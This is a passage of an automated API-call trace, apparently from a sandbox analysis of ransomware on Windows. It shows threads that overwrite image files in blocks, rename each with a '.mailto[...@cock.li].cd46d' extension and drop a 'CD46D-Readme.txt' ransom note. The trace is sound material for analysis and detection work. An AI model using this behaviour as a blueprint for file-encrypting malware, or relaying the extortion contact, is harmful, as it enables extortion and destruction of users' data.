_Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0051.606] wcscat (in: _Dest=0x438060, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0051.606] wcscat (in: _Dest=0x438060, _Source="Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache" [0051.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x438060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd84 [0051.607] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0051.607] wcscmp (_String1="SharedDataEvents", _String2=".") returned 1 [0051.607] wcscmp (_String1="SharedDataEvents", _String2="..") returned 1 [0051.607] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x43dbd0 [0051.607] wcscpy (in: _Dest=0x43dbd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0051.607] wcscat (in: _Dest=0x43dbd0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0051.607] wcscat (in: _Dest=0x43dbd0, _Source="SharedDataEvents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" [0051.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43dbd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd88 [0051.609] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0051.609] wcscmp (_String1="UserCache.bin", _String2=".") returned 1 [0051.609] wcscmp (_String1="UserCache.bin", _String2="..") returned 1 [0051.609] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43e068 [0051.609] wcscpy (in: _Dest=0x43e068, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0051.609] wcscat (in: _Dest=0x43e068, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0051.609] wcscat (in: _Dest=0x43e068, _Source="UserCache.bin" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" [0051.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd8c [0051.610] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0051.610] FindClose (in: hFindFile=0x4407e0 | out: hFindFile=0x4407e0) returned 1 [0051.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4bac18) returned 1 [0051.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417e00) returned 1 [0051.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4467f8) returned 1 Thread: id = 662 os_tid = 0xb60 [0050.788] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\3cdlp1-fexqkahrhq.jpg")) returned 0x20 [0050.788] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg", dwFileAttributes=0x20) returned 1 [0050.788] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\3cdlp1-fexqkahrhq.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xba8 [0050.788] GetFileSizeEx (in: hFile=0xba8, lpFileSize=0x46efa8c | out: lpFileSize=0x46efa8c*=81738) returned 1 [0050.788] SetFilePointerEx (in: hFile=0xba8, liDistanceToMove=0x13f46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.788] ReadFile (in: hFile=0xba8, lpBuffer=0x46efa10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x46efa0c, lpOverlapped=0x0 | out: lpBuffer=0x46efa10*, lpNumberOfBytesRead=0x46efa0c*=0x4, lpOverlapped=0x0) returned 1 [0050.789] SetFilePointerEx (in: hFile=0xba8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460620 [0050.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460648 [0050.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460670 [0050.789] NtQuerySystemTime (in: CurrentTime=0x46ef9ec | out: CurrentTime=0x46ef9ec*=132174898147704000) returned 0x0 [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x70e0709a [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x5e7bf5a3 [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x2f4dd08c [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x62feaa4b [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x4ede94e2 [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x5c4f3399 [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x7efc9b48 [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x4399569a [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x5efbe5ea [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x6f0b55fe [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x6f2657f4 [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x7fe9f3b [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x47c0b507 [0050.789] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x6538010b [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x56d0e887 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x3d4b9993 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x5e15c825 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x53201e0 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x2aad983c [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x681a0ef1 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x61e3a3ce [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x5814ef48 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x8ef8850 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x34aceae [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x292888e9 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x3bb3bf07 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x14c0fb91 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x80bbde3 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x3139cfec [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x1acdfe68 [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x1b265f5c [0050.790] RtlRandomEx (in: Seed=0x46ef9f8 | out: Seed=0x46ef9f8) returned 0x65494cd9 [0050.803] SetFilePointerEx (in: hFile=0xba8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.803] ReadFile (in: hFile=0xba8, lpBuffer=0x12ca1920, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x46ef9cc, lpOverlapped=0x0 | out: lpBuffer=0x12ca1920*, lpNumberOfBytesRead=0x46ef9cc*=0xc800, lpOverlapped=0x0) returned 1 [0050.803] SetFilePointerEx (in: hFile=0xba8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bc10 [0050.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43af60 [0050.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460620 [0050.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460620) returned 1 [0050.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12cae128 [0050.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460620 [0050.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460670 [0050.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460670) returned 1 [0050.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43af60) returned 1 [0050.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc10) returned 1 [0050.807] WriteFile (in: hFile=0xba8, lpBuffer=0x12cae128*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x46ef9cc, lpOverlapped=0x0 | out: lpBuffer=0x12cae128*, lpNumberOfBytesWritten=0x46ef9cc*=0xc800, lpOverlapped=0x0) returned 1 [0053.389] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cae128) returned 1 [0053.394] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ca1920) returned 1 [0053.399] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x5efe070 [0053.399] SetFilePointerEx (in: hFile=0xba8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.399] WriteFile (in: hFile=0xba8, lpBuffer=0x9721948*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x46efa4c, lpOverlapped=0x0 | out: lpBuffer=0x9721948*, lpNumberOfBytesWritten=0x46efa4c*=0x11b, lpOverlapped=0x0) returned 1 [0053.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721948) returned 1 [0053.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe0b0) returned 1 [0053.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceff8) returned 1 [0053.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe070) returned 1 [0053.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460620) returned 1 [0053.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460648) returned 1 [0053.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460698) returned 1 [0053.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4606c0) returned 1 [0053.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00d60 [0053.932] wcscpy (in: _Dest=0x5e00d60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg" [0053.932] wcscat (in: _Dest=0x5e00d60, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0053.932] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x46efa04, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3Cdlp1-FExQKAHRHq.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x4d40e0 [0053.934] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0053.934] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48e658) returned 1 [0053.934] NtQueryInformationFile (in: FileHandle=0xba8, IoStatusBlock=0x46efa10, FileInformation=0x46ef9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x46efa10, FileInformation=0x46ef9e8) returned 0x0 [0053.934] NtSetInformationFile (FileHandle=0xba8, IoStatusBlock=0x46efa10, FileInformation=0x46ef9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.936] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00d60) returned 1 [0053.936] FlushFileBuffers (hFile=0xba8) returned 1 [0053.939] CloseHandle (hObject=0xba8) returned 1 [0053.941] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08498 [0053.941] wcscpy (in: _Dest=0x12e08498, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0053.941] wcscat (in: _Dest=0x12e08498, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" [0053.941] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cd46d-readme.txt")) returned 0x20 [0053.961] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08498) returned 1 [0053.962] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446e58) returned 1 Thread: id = 663 os_tid = 0xb64 [0050.808] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8pPro7.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8ppro7.bmp")) returned 0x20 [0050.808] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8pPro7.bmp", dwFileAttributes=0x20) returned 1 [0050.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8pPro7.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8ppro7.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbac [0050.808] GetFileSizeEx (in: hFile=0xbac, lpFileSize=0xb96f8e4 | out: lpFileSize=0xb96f8e4*=61929) returned 1 [0050.808] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0xf1e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.808] ReadFile (in: hFile=0xbac, lpBuffer=0xb96f868, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb96f864, lpOverlapped=0x0 | out: lpBuffer=0xb96f868*, lpNumberOfBytesRead=0xb96f864*=0x4, lpOverlapped=0x0) returned 1 [0050.809] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.809] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460670 [0050.809] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4606e8 [0050.809] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460710 [0050.809] NtQuerySystemTime (in: CurrentTime=0xb96f844 | out: CurrentTime=0xb96f844*=132174898147860000) returned 0x0 [0050.809] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x79fc8c7d [0050.809] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x6c3e1ee8 [0050.809] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x134eda36 [0050.809] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x745987d4 [0050.809] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x7b196410 [0050.809] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x88e6d9a [0050.809] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x249ba2e [0050.809] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x5f2aecfc [0050.809] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x51e795f7 [0050.809] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x9542b95 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x279bce5a [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x70ebf587 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x3067fab9 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x8e387b [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x139153be [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x2b811d03 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x7e84c3d2 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x1c4e6506 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x59d42607 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x68614db6 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x24bb0f99 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x64e2fbfe [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x21312e48 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x18a42352 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x6aff6805 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x620fecef [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x6e8f7695 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x1c27e370 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0xf846cf8 [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x641b55ab [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x6e5b433c [0050.810] RtlRandomEx (in: Seed=0xb96f850 | out: Seed=0xb96f850) returned 0x2fbcb802 [0050.822] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.822] ReadFile (in: hFile=0xbac, lpBuffer=0x12cba930, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xb96f824, lpOverlapped=0x0 | out: lpBuffer=0x12cba930*, lpNumberOfBytesRead=0xb96f824*=0xc800, lpOverlapped=0x0) returned 1 [0050.822] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.822] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bc10 [0050.822] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43af60 [0050.822] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460670 [0050.822] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460670) returned 1 [0050.823] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12cc7138 [0050.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460670 [0050.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460710 [0050.826] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460710) returned 1 [0050.826] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43af60) returned 1 [0050.826] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc10) returned 1 [0050.826] WriteFile (in: hFile=0xbac, lpBuffer=0x12cc7138*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xb96f824, lpOverlapped=0x0 | out: lpBuffer=0x12cc7138*, lpNumberOfBytesWritten=0xb96f824*=0xc800, lpOverlapped=0x0) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cc7138) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cba930) returned 1 [0053.400] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97ce370 [0053.400] SetFilePointerEx (in: hFile=0xbac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.401] WriteFile (in: hFile=0xbac, lpBuffer=0x9721a70*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0xb96f8a4, lpOverlapped=0x0 | out: lpBuffer=0x9721a70*, lpNumberOfBytesWritten=0xb96f8a4*=0x105, lpOverlapped=0x0) returned 1 [0053.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721a70) returned 1 [0053.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce3a0) returned 1 [0053.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf020) returned 1 [0053.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce370) returned 1 [0053.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460670) returned 1 [0053.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4606e8) returned 1 [0053.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460738) returned 1 [0053.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460760) returned 1 [0053.596] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45ca80 [0053.596] wcscpy (in: _Dest=0x45ca80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8pPro7.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8pPro7.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8pPro7.bmp" [0053.596] wcscat (in: _Dest=0x45ca80, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS 